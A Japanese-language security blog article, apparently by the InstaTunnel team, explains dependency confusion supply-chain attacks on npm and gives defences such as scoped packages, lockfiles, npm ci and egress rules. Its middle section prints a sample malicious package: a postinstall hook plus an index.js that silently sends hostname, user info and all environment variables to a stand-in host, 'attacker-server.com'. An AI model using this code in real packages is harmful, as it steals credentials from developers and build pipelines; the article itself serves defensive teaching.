Security
10 min read
2174 views

Dependency Confusion: パッケージ.jsonに潜むサプライチェーン攻撃

IT
InstaTunnel Team
Published by our engineering team
Dependency Confusion: パッケージ.jsonに潜むサプライチェーン攻撃

現代のソフトウェア開発はオープンソースパッケージの基盤の上に成り立っています。npm、PyPI、RubyGemsなどのパッケージマネージャーは開発サイクルを加速させ、チームが世界中の事前構築済みコンポーネントのエコシステムを活用できるようにしています。しかし、この外部依存性への依存は、新たで巧妙な攻撃ベクトル、ソフトウェアサプライチェーンの脅威を生み出しています。

この分野で最も重要かつ微妙な脆弱性の一つがDependency Confusion(依存関係の混乱)です。この攻撃は、パッケージマネージャーが依存関係を解決する曖昧な方法を悪用し、ビルドシステムを騙して公開リポジトリから悪意のあるコードをダウンロード・実行させるものです。本記事では、dependency confusionの仕組み、その潜在的な影響、そして最も重要な、あなたのpackage.jsonを守るための実践的な対策について詳しく解説します。

Dependency Confusionとは何か?

基本的に、dependency confusion(名前空間混乱攻撃)は、パッケージマネージャークライアントのロジックを狙ったサプライチェーン攻撃です。これは、あるプロジェクトがプライベートな内部レジストリと公開レジストリ(例:npmjs.com)に同じ名前のパッケージを依存している場合に発生します。攻撃者は、公開レジストリに同じ名前のパッケージを高いバージョン番号で公開することで、内部のバージョンよりも優先してダウンロードさせるのです。

例えるなら、カスタムビルドマシン用の特定の部品を注文するようなものです。あなたの会社「InnovateCorp」は、innovate-api-clientという独自のコンポーネントを製造し、内部倉庫(内部パッケージレジストリ)に保管しています。組み立て指示書(package.json)には「innovate-api-clientを取得せよ」とだけ書かれています。外部のサプライヤーはこれを見て、偽造バージョンを作成し、innovate-api-clientとラベル付けし、グローバルな公開カタログ(npmの公開レジストリ)に「Version 2.0」として登録します。一方、あなたの内部バージョンは「Version 1.5」です。

自動組み立てロボット(パッケージマネージャー)が部品を取りに行くと、プライベート倉庫と公開カタログの両方をスキャンします。公開カタログには「新しい」バージョン(2.0  1.5)があるため、最新のものを優先してダウンロードし、偽造品をインストールしてしまう可能性があります。

これがまさにdependency confusionの仕組みです。パッケージマネージャーは、デフォルト設定で、すべての設定されたソースから利用可能なパッケージの中で最もセマンティックバージョンの高いものを取得しようとします。この曖昧さを突いて、攻撃者はリモートコード実行(RCE)や、より深刻にはCI/CDパイプライン内での攻撃を仕掛けるのです。

この脆弱性は、セキュリティ研究者のAlex Birsanによって2021年のブログ記事で初めて広く知られるようになり、Apple、Microsoft、Teslaなどの大手企業を標的に成功例を示し、13万ドル以上のバグ報奨金を獲得しました。

攻撃の流れ

依存関係の混乱攻撃は非常にシンプルで、いくつかの主要なステップに分解できます。そのシンプルさが、危険性とスケーラビリティを高めています。

リサーチ:プライベートパッケージ名の特定

最初のステップは、ターゲット組織が使用している内部のプライベートパッケージ名を特定することです。これは最も難しい部分ですが、多くの方法で情報漏洩が可能です。攻撃者はGitHubなどの公開コードリポジトリをスキャンし、package.jsonファイルを探します。これらには誤ってコミットされた可能性があります。また、企業の公開ウェブサイトにホストされたJavaScriptファイルからrequire('internal-package-name')の記述を抽出することもあります。内部ネットワークの設定やDNSログからも名前が漏れることがあります。

悪意のあるパッケージの作成

潜在的な内部パッケージ名のリスト(例:acme-auth-clientcorp-loggerinternal-api-helper)を作成したら、攻撃者はそれぞれの名前に対して悪意のあるパッケージを作成します。これらのパッケージには、インストール時に実行されるコードを仕込むのが一般的です。package.jsonpostinstallスクリプトを利用します。これはパッケージのインストール後に自動的に実行されるスクリプトです。

例として、悪意のあるpackage.jsonは次のようになります:

{
  "name": "acme-auth-client",
  "version": "99.99.99",
  "description": "依存関係混乱攻撃用の悪意のあるパッケージ。",
  "main": "index.js",
  "scripts": {
    "postinstall": "node index.js"
  },
  "author": "Attacker",
  "license": "ISC"
}

ペイロード(index.js)

index.jsには悪意のあるペイロードが含まれます。これは何でも構いませんが、よく使われるのは環境変数の抜き取りです。これにはAPIキーやデータベースの資格情報、内部ネットワークの詳細などが含まれることがあります。シンプルな抜き取りスクリプトは、ホスト名やIPアドレス、環境変数を収集し、攻撃者が管理するサーバーにHTTPリクエストで送信します。

// 悪意のあるindex.js
const os = require('os');
const http = require('http');

try {
  const data = JSON.stringify({
    hostname: os.hostname(),
    userInfo: os.userInfo(),
    env: process.env
  });

  const options = {
    hostname: 'attacker-server.com',
    port: 80,
    path: '/log',
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Content-Length': data.length
    }
  };

  const req = http.request(options);
  req.write(data);
  req.end();
} catch (e) {
  // 静かに失敗
}

公開レジストリへの公開

攻撃者はこの悪意のあるパッケージを公開npmレジストリに登録します。重要なのは、非常に高いバージョン番号(例:99.99.99)を付与し、内部のバージョンよりも確実に上になるようにすることです。

待機フェーズ

攻撃者は待ちます。次に開発者が新しい環境をセットアップしたり、CI/CDパイプラインでクリーンビルド(npm installyarn)を行ったときに、パッケージマネージャーは設定されたレジストリをクエリします。もし両方のレジストリを確認する設定になっていれば、acme-auth-client@1.2.3はプライベートレジストリから、acme-auth-client@99.99.99は公開レジストリから取得され、後者が選択されてしまいます。そして、postinstallスクリプトが実行され、ペイロードが発動します。これで攻撃完了です。

パッケージマネージャーが騙される仕組み:解決ロジック

依存関係の混乱攻撃の成功は、完全にパッケージマネージャーのデフォルトの依存解決動作に依存しています。npmやYarn、pip(Python用)などのツールは、開発者の利便性のために設計されており、その一環として「最良の」バージョンを自動的に見つける仕組みになっています。

複数のレジストリを設定している場合(内部用のプライベートレジストリと公開のデフォルトレジストリ)、その解決アルゴリズムは問題を引き起こすことがあります。パッケージ名がスコープされていない場合、クライアントはすべてのレジストリをクエリし、どこにあるかを確認します。複数の場所で見つかった場合、バージョン番号に基づいて決定します。高いバージョン番号がより新しく望ましいリリースとみなされるのです。

例として、package.jsonのエントリは次のようになります:

"dependencies": {
  "internal-api-helper": "^1.4.0"
}

そして、.npmrcの設定ファイルは次のようです:

# .npmrc
@my-company:registry=https://npm.my-company.com/
registry=https://registry.npmjs.org/

この設定では、@my-companyでスコープされたパッケージは正しくプライベートレジストリから取得されます。ただし、スコープされていないinternal-api-helperは、両方のレジストリを確認します。プライベートレジストリにinternal-api-helper@1.4.5があり、公開npmレジストリに攻撃者のinternal-api-helper@99.99.99があった場合、後者が選ばれます。これは^1.4.0のセマンティックバージョニング範囲を満たし、かつバージョンが高いためです。ビルドシステムはこれに騙されてしまいます。

対策:サプライチェーンのセキュリティ確保

依存関係の混乱は深刻な脅威ですが、解決可能な問題です。組織の保護には、多層的なアプローチが必要で、依存解決の曖昧さを排除することに焦点を当てるべきです。

1. スコープ付きパッケージの利用(最も効果的な防御策)

依存関係混乱に対する最も効果的で堅牢な防御策は、すべての内部プロジェクトにスコープ付きパッケージを使用することです。スコープはnpmの機能で、パッケージに名前空間を提供します。スコープ付きパッケージ名は@記号で始まり、その後に組織名、その後にスラッシュ(例:@my-company/internal-api-helper)が続きます。

仕組み: スコープなしのパッケージ(例:internal-api-helper)は公開の名前空間とみなされ、誰でも公開できます。一方、@my-company/internal-api-helperのようなスコープ付きパッケージは、my-companyの名前空間に属します。攻撃者はあなたの認証情報なしにあなたのスコープ下にパッケージを公開できません。これにより、パッケージ名がグローバルに一意となり、この種の名前空間攻撃から守られます。

実装方法: .npmrcファイルを設定して、あなたのスコープをプライベートレジストリに関連付けます。

# .npmrc
@my-company:registry=https://npm.my-company.com/
# 他のすべてのパッケージには公式の公開レジストリを使用
registry=https://registry.npmjs.org/

この設定により、@my-company/で始まるパッケージのnpm installコマンドは、常にあなたのプライベートレジストリをクエリし、混乱を完全に排除します。

2. バージョン固定とロックファイル

package-lock.json(npm)、yarn.lock(Yarn)などのロックファイルを使用することは、決定性と再現性のあるビルドを保証するための重要なベストプラクティスです。ロックファイルは、成功したビルドで使用された依存関係の正確なバージョンと場所を「ロック」します。

仕組み: npm installを実行すると、package-lock.jsonが生成されます。このファイルには、インストールされたすべてのパッケージの正確なバージョン、その解決先(URL)、および内容のハッシュ(整合性チェックサム)が含まれます。

// package-lock.jsonの抜粋
"internal-api-helper": {
  "version": "1.4.5",
  "resolved": "https://npm.my-company.com/internal-api-helper/-/internal-api-helper-1.4.5.tgz",
  "integrity": "sha512-..."
}

次回のインストール(例:CI/CDパイプライン)では、npm ciを使用します。これはpackage.jsonを無視し、ロックファイルに厳密に従ってクリーンインストールを行います。これにより、最初のnpm install時に公開パッケージに依存していた場合でも、正しいロックファイルがあれば、将来的に悪意のあるバージョンをダウンロードさせることを防げます。

制限: バージョン固定は強力なコントロールですが、完全な解決策ではありません。最初のインストール時の保護にはなりません。開発者のマシンが誤設定だったり、package-lock.jsonが存在しない場合、脆弱性は残ります。

3. パッケージの整合性検証

ロックファイル内のintegrityフィールドは、サブリソースインテグリティ(SRI)ハッシュです。これはパッケージのtarballのデジタル指紋として機能します。パッケージマネージャーは依存関係をダウンロードした後、そのハッシュを計算し、ロックファイルの値と比較します。一致しない場合、インストールは失敗します。これにより、途中で改ざんされたパッケージや、同じURLから異なるパッケージが提供された場合に対して強力な保護となります。

4. 明示的なレジストリ設定

スコープなしの内部パッケージがレガシーとなり、すぐに移行できない環境では、パッケージマネージャーにどこを見に行くかを明示的に設定する必要があります。スコープを使うより堅牢ではありませんが、ビルド環境を常にプライベートレジストリ優先に設定することも可能です。ただし、これには複雑さや、正規の公開パッケージへのアクセス制限といった副作用も伴います。推奨はやはりスコープの移行です。

5. ネットワーク制御と監査

最後の防御層として、特に重要なビルドサーバーにはネットワーク制御を導入できます。

ファイアウォールルール: 出口のファイアウォールルールを設定し、ビルドサーバーがregistry.npmjs.orgなどの公開レジストリにアクセスできないようにします。すべての依存関係は、セキュアなプロキシやミラーとして機能するプライベートレジストリから取得します。

依存関係の監査: npm auditや商用のソフトウェア構成分析(SCA)ツールを定期的に使用し、既知の脆弱性や疑わしいパッケージ、依存解決パターンを検出します。

まとめ:サプライチェーンセキュリティの積極的な取り組み

Dependency confusionは、私たちのソフトウェアサプライチェーンが攻撃者のターゲットになり得ることを強く示しています。そのエレガンスは、シンプルさと日常的に使うツールのデフォルトの便利さを悪用している点にあります。これにより、package.jsonは単なる依存関係リストから、悪意のあるコードの入り口へと変貌します。

しかし、この脅威は完全に管理可能です。オープンソースエコシステムを放棄する必要はなく、より意識的でセキュリティを重視した依存関係管理を採用すれば良いのです。スコープ付きパッケージの採用、ロックファイルの徹底、レジストリ設定の強化により、この攻撃ベクトルを排除できます。

ソフトウェアサプライチェーンのセキュリティは、もはや周辺的な課題ではなく、現代アプリケーションのセキュリティの中心的柱です。依存関係を見直し、ビルドプロセスを強化する時は今です。あなたの組織の安全を守るために、早めの対策を講じましょう。

Continue from this article into the most relevant product guides and workflows.

Related Topics

#dependency confusion, supply chain attack, package.json security, npm security, software supply chain, namespace confusion attack, dependency management, npm registry, scoped packages, package manager security, CI/CD security, software vulnerabilities, open source security, node.js security, javascript security, npm audit, package-lock.json, yarn security, private registry, internal packages, malicious packages, postinstall scripts, semantic versioning, lockfile security, registry configuration, npmrc configuration, software composition analysis, SCA tools, build pipeline security, developer security, cybersecurity, application security, vulnerability management, secure coding, DevSecOps, software engineering security, package integrity, version pinning, firewall rules, dependency auditing, remote code execution, RCE attack, Alex Birsan, bug bounty, security research, npm ci, yarn.lock, registry proxy, mirror registry, egress filtering, network security, infrastructure security

Keep building with InstaTunnel

Read the docs for implementation details or compare plans before you ship.

Share this article

More InstaTunnel Insights

Discover more tutorials, tips, and updates to help you build better with localhost tunneling.

Browse All Articles